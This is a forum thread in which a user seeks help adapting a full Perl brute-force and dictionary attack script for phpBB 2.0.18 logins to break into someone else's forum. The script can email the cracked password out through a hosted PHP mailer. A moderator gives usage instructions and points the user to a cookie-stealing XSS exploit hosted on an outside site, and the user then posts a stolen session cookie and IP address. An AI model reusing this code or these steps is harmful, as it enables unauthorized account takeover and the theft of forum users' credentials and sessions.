Waraxe IT Security Portal

panhead34 · Regular user

Using the following script from milw0rm to hack a 2.0.18 forum but am unsure of how to change the various parts of the hack to adapt to my situation.....can anyone help?

#!/usr/bin/perl
####################################################################################################################
# Title: PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool
# Type: Bruteforce / Dictionary attack
# New demo: http://rapidshare.de/files/13694254/phpbbbtr.avi.html (1.06 mb)
# Php Email Script data: <? mail($destinataire, $objet, $contenu, "From: $expediteur\r\nReply-To: $expediteur"); ?>
# Note: Host the php script and replace the line 34 [] Php script for the email option because win32 don't support Mail::Mailer
# Changelog: Bruteforce option | Starting length | Email option | More fast | Die error disabled |
# Credits: Fully coded by DarkFig
# Greetz: Romano [] Pgeo [] Fred [] CrackJerem [] Volcom [] Ddxs [] The truth [] And all man who like me =)
####################################################################################################################
use IO::Socket;
use LWP::Simple;

#_Utilisation_
if(@ARGV < 6){
print q(
+---------------------------------------------------------------------------------------------------+
| PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool [~_~] by DarkFig |
+---------------------------------------------------------------------------------------------------+
| Usage: phpbbbtr.pl <host> <path> <port> <attack> <char> <length> <victim> <log> <email> |
+---------------------------------------------------------------------------------------------------+
| <host> | The host where the php flaw is installed | [Ex: victim.com] |
| <path> | Path of the php flaw | [Ex: /vuln/] |
| <port> | Port of the host | [Ex: 80] |
| <attack> | Bruteforce[-btr] or Dictionary[-dict] | [Ex: -dict] |
| <char> | Bruteforce[upperalpha, loweralpha, numeric] or Dictionary file | [Ex: dico.txt] |
| <length> | For the bruteforce option, define a starting length | [Ex: 7] |
| <victim> | The victim's username | [Ex: L4m3r] |
| <log> | [Optional] File where you want to save the password | [Ex: results.txt] |
| <email> | [Optional] Email where the password will be sent | [Ex: haxor@gmail.com] |
+---------------------------------------------------------------------------------------------------+
);exit;}

#_Configuration_
$mailsite = "http://yoursite.com/mailme.php"; #Replace this value by the Url of the Php email script
$shipper = "xploitdarkfigbot%40gmail.com"; #Default shipper email, xploidarkfigbot@gmail.com really exist => It work Wink

$host = $ARGV[0];
$path = $ARGV[1];
$port = $ARGV[2];
$attack = $ARGV[3];
$content = $ARGV[4];
if($attack eq "-btr"){$length = $ARGV[5];$username = $ARGV[6];$results = $ARGV[7];if(!$ARGV[9]){$mailoption = 0;} else {$mailoption = 1;$email = $ARGV[8];}}
else {$username = $ARGV[5];$results = $ARGV[6];if(!$ARGV[7]){$mailoption = 0;} else {$mailoption = 1;$email = $ARGV[7];}}
$nligne = "-1";
$postit = "$path"."login.php";
$full = "http://"."$host"."$path";&hello;

#_Hello_
sub hello() {
if($attack eq "-dict"){open dictionary, "<$content" || print " [-]Can't open the file.";chomp(@dico = <dictionary>);}
print "\n
+--------------------------------------------------------+
PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool
+--------------------------------------------------------+
[+] Attack: ";if($attack eq "-btr"){print "Bruteforce";}if($attack eq "-dict"){print "Dictionary";};print"
[+] Target: $full
[+] Port: $port
[+] Username: $username
+--------------------------------------------------------+";
if($content eq "upperalpha"){$nligne = "A";}
if($content eq "loweralpha"){$nligne = "a";}
if($content eq "numeric"){$nligne = "0";}
if($attack eq "-dict"){&dictio;}if($attack eq "-btr"){&generate;}}

#_Bruteforce_
sub generate() {
$nligne x= $length;
$passwordz = $nligne;
print "\n [~]Trying the password: $passwordz";
&phpbb;}

sub btrfr() {
$nligne++;
$passwordz = $nligne;
print "\n [~]Trying the password: $passwordz";
&phpbb;}

#_Dictionary_
sub dictio() {
$nligne++;
$passwordz = $dico[$nligne];
if($passwordz eq ""){&successfailed;}
print "\n [~]Trying the password: $passwordz";
&phpbb;}

#_Socket_
sub phpbb(){
while ($OK ne 1){
$data = "username="."$username"."&password="."$passwordz"."&redirect=&login=Connexion";
$length = length $data;
my $send = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-]Can't connect to the host.";
print $send "POST $postit HTTP/1.1
Host: $host
Content-Type: application/x-www-form-urlencoded
Content-Length: $length

$data";
read $send, $answer, 15;
close($send);
if($answer =~ /HTTP\/(.*?) 302/){$OK = 1;}
&decision;}}

#_Decision_
sub decision(){if($OK ne 1){if($attack eq "-dict"){&dictio;}if($attack eq "-btr"){&btrfr;}} else {&successfailed;}}

#_Success/Failed_
sub successfailed(){
if($OK eq 1){print "\n [+]User: $username\n [+]Password: $passwordz";}
if($OK eq 0){print "\n [-]User: $username\n [-]Password: Not found";}
open FILE, ">$results" || print "\n [-]Can't write the file.";
print FILE "
+--------------------------------------------------------+
PhpBB <= 2.0.18 Remote Bruteforce/Dictionary Attack Tool
+--------------------------------------------------------+
[+] Target: $full
[+] Port: $port
[+] Username: $username
[+] Password: ";
if($OK eq 1){print FILE "$passwordz";}
if($OK eq 0){print FILE "Not found...";$passwordz = "Not found";}
print FILE "\n+--------------------------------------------------------+\n";
close FILE; close dictionary;

#_EmailOption_
if($mailoption eq 1){
$fullmailurl = "$mailsite"."?expediteur="."$shipper"."&destinataire="."$email"."&objet="."[Xploit]Results for $host"."&contenu="."Target: $full"."%0D%0A"."Port: $port"."%0D%0A"."Username: $username"."%0D%0A"."Password: $passwordz";
$mailpg = get($fullmailurl) || print "\n [-]Can't connect to the email script hoster.\n+--------------------------------------------------------+\n\n" and exit;
print "\n [+]Email sent, check your mail !\n+--------------------------------------------------------+\n\n";} else {print "\n+--------------------------------------------------------+\n";}exit;}

# milw0rm.com [2006-02-20]

Sm0ke · Moderator

Usage: phpbbbtr.pl <host> <path> <port> <attack> <char> <length> <victim>

X:\perl\bin>perl phpbbbtr.pl www.site.com /phpBB2/ 80 -dict password.txt
Admin

First test if account gets locked on 5-10 login attemps if so then you cant use this...

panhead34 · Regular user

Hi

I tried this but here's a screenshot of what I get...I;ve tried as the admin and one of the mods...

Any ideas?

Sm0ke · Moderator

You are missing your password file Wink

Sm0ke · Moderator

Looked that board Smile

html is on.. use this http://securityreason.com/achievement_securityalert/29

panhead34 · Regular user

Cool will have a go at that one....tried this one and got nowhere....do I need a place to host this cookie? Sorry Java ain't my bag

Sm0ke · Moderator

'http://HOST/cookies?'
That should be your host and your cookie logging file

www.t35.com is good place

panhead34 · Regular user

panhead34 · Regular user

panhead34 · Regular user

Finally managed to get the god damn cookie stealer working!

Now here's what I got...any ideas on what to do with it? I need to be able to convert this into data to change my cookie...

http://localhost.com/boards/posting.php :: phpbb2mysql_data=a:2:{s:11:\"autologinid\";s:0:\"\";s:6:\"userid\";s:3:\"722\";}; phpbb2mysql_sid=30ba13eaca9bf3abfb2a7c4b53bd2efd; phpbb2mysql_t=a:1:{i:19829;i:1169839582;} 65.39.176.60

panhead34 · Regular user

Anyone have any joy on this?

Lego · Regular user

hey im trying to get this to work too, what adress did you use to host your logfile?

blahblah.t35.com/cookies?'

and is cookies?' just a regular txt file or?